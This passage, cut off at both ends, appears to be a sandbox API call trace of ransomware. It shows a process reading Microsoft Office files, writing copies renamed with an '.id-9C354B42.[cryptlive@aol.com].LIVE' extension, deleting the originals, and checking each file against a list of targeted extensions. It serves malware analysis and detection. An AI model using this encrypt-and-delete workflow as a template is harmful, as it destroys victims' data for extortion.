lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3cec0, lpOverlapped=0x0) returned 1 [0142.664] ReadFile (in: hFile=0x380, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.664] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0142.665] SetEndOfFile (hFile=0x3ac) returned 1 [0142.665] CloseHandle (hObject=0x3ac) returned 1 [0142.665] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.665] SetEndOfFile (hFile=0x380) returned 1 [0142.673] CloseHandle (hObject=0x380) returned 1 [0142.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 1 [0142.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.829] lstrlenW (lpString=".doc") returned 4 [0142.829] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0142.829] lstrlenW (lpString=".docx") returned 5 [0142.829] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0142.829] lstrlenW (lpString=".pdf") returned 4 [0142.829] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".xls") returned 4 [0142.830] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".xlsx") returned 5 [0142.830] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0142.830] lstrlenW (lpString=".ppt") returned 4 [0142.830] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString=".zip") returned 4 [0142.830] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".rar") returned 4 [0142.830] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".bz2") returned 4 [0142.830] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0142.830] lstrlenW (lpString=".7z") returned 3 [0142.830] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString=".dbf") returned 4 [0142.830] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString=".1cd") returned 4 [0142.830] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString=".jpg") returned 4 [0142.830] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.830] lstrlenW (lpString=".doc") returned 4 [0142.830] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0142.830] lstrlenW (lpString=".docx") returned 5 [0142.830] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0142.830] lstrlenW (lpString=".pdf") returned 4 [0142.830] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".xls") returned 4 [0142.830] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0142.830] lstrlenW (lpString=".xlsx") returned 5 [0142.830] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0142.830] lstrlenW (lpString=".ppt") returned 4 [0142.831] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0142.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.831] lstrlenW (lpString=".zip") returned 4 [0142.831] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0142.831] lstrlenW (lpString=".rar") returned 4 [0142.831] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0142.831] lstrlenW (lpString=".bz2") returned 4 [0142.831] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0142.831] lstrlenW (lpString=".7z") returned 3 [0142.831] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0142.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.831] lstrlenW (lpString=".dbf") returned 4 [0142.831] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0142.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.831] lstrlenW (lpString=".1cd") returned 4 [0142.831] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0142.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0142.831] lstrlenW (lpString=".jpg") returned 4 [0142.831] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0142.831] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.831] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0142.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.832] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=209) returned 1 [0142.832] CloseHandle (hObject=0x1e4) returned 1 [0142.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 0x20 [0142.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.832] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.832] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.833] GetLastError () returned 0x0 [0142.833] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xd1, lpOverlapped=0x0) returned 1 [0142.834] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.835] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.835] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0142.835] SetEndOfFile (hFile=0x1dc) returned 1 [0142.835] CloseHandle (hObject=0x1dc) returned 1 [0142.835] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.835] SetEndOfFile (hFile=0x1e4) returned 1 [0142.838] CloseHandle (hObject=0x1e4) returned 1 [0142.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 1 [0142.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".doc") returned 4 [0142.839] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.839] lstrlenW (lpString=".docx") returned 5 [0142.839] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.839] lstrlenW (lpString=".pdf") returned 4 [0142.839] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString=".xls") returned 4 [0142.839] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString=".xlsx") returned 5 [0142.839] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.839] lstrlenW (lpString=".ppt") returned 4 [0142.839] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".zip") returned 4 [0142.839] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString=".rar") returned 4 [0142.839] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString=".bz2") returned 4 [0142.839] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.839] lstrlenW (lpString=".7z") returned 3 [0142.839] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".dbf") returned 4 [0142.839] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".1cd") returned 4 [0142.839] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".jpg") returned 4 [0142.839] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.839] lstrlenW (lpString=".doc") returned 4 [0142.839] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.839] lstrlenW (lpString=".docx") returned 5 [0142.840] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.840] lstrlenW (lpString=".pdf") returned 4 [0142.840] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.840] lstrlenW (lpString=".xls") returned 4 [0142.840] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.840] lstrlenW (lpString=".xlsx") returned 5 [0142.840] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.840] lstrlenW (lpString=".ppt") returned 4 [0142.840] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.840] lstrlenW (lpString=".zip") returned 4 [0142.840] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.840] lstrlenW (lpString=".rar") returned 4 [0142.840] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.840] lstrlenW (lpString=".bz2") returned 4 [0142.840] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.840] lstrlenW (lpString=".7z") returned 3 [0142.840] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.840] lstrlenW (lpString=".dbf") returned 4 [0142.840] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.840] lstrlenW (lpString=".1cd") returned 4 [0142.840] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0142.840] lstrlenW (lpString=".jpg") returned 4 [0142.840] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.840] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.840] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0142.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.841] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=114) returned 1 [0142.841] CloseHandle (hObject=0x1e4) returned 1 [0142.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 0x20 [0142.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.841] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.841] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.842] GetLastError () returned 0x0 [0142.842] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.867] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.868] ReadFile (in: hFile=0x1e4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.868] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0142.868] SetEndOfFile (hFile=0x1dc) returned 1 [0142.868] CloseHandle (hObject=0x1dc) returned 1 [0142.868] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.868] SetEndOfFile (hFile=0x1e4) returned 1 [0142.871] CloseHandle (hObject=0x1e4) returned 1 [0142.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 1 [0142.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.872] lstrlenW (lpString=".doc") returned 4 [0142.873] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.873] lstrlenW (lpString=".docx") returned 5 [0142.873] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.873] lstrlenW (lpString=".pdf") returned 4 [0142.873] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString=".xls") returned 4 [0142.873] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString=".xlsx") returned 5 [0142.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.873] lstrlenW (lpString=".ppt") returned 4 [0142.873] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString=".zip") returned 4 [0142.873] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString=".rar") returned 4 [0142.873] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString=".bz2") returned 4 [0142.873] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.873] lstrlenW (lpString=".7z") returned 3 [0142.873] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString=".dbf") returned 4 [0142.873] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString=".1cd") returned 4 [0142.873] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString=".jpg") returned 4 [0142.873] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.873] lstrlenW (lpString=".doc") returned 4 [0142.873] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.873] lstrlenW (lpString=".docx") returned 5 [0142.873] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.873] lstrlenW (lpString=".pdf") returned 4 [0142.874] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.874] lstrlenW (lpString=".xls") returned 4 [0142.874] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.874] lstrlenW (lpString=".xlsx") returned 5 [0142.874] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.874] lstrlenW (lpString=".ppt") returned 4 [0142.874] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.874] lstrlenW (lpString=".zip") returned 4 [0142.874] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.874] lstrlenW (lpString=".rar") returned 4 [0142.874] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.874] lstrlenW (lpString=".bz2") returned 4 [0142.874] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.874] lstrlenW (lpString=".7z") returned 3 [0142.874] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.874] lstrlenW (lpString=".dbf") returned 4 [0142.874] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.874] lstrlenW (lpString=".1cd") returned 4 [0142.874] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0142.874] lstrlenW (lpString=".jpg") returned 4 [0142.874] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.874] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.874] lstrlenW (lpString="MSPUB_COL.HXC") returned 13 [0142.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.188] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=621) returned 1 [0143.188] CloseHandle (hObject=0x380) returned 1 [0143.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 0x20 [0143.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.192] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.192] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.192] GetLastError () returned 0x0 [0143.192] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x26d, lpOverlapped=0x0) returned 1 [0143.239] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x270, lpOverlapped=0x0) returned 1 [0143.240] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.240] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0143.240] SetEndOfFile (hFile=0x350) returned 1 [0143.240] CloseHandle 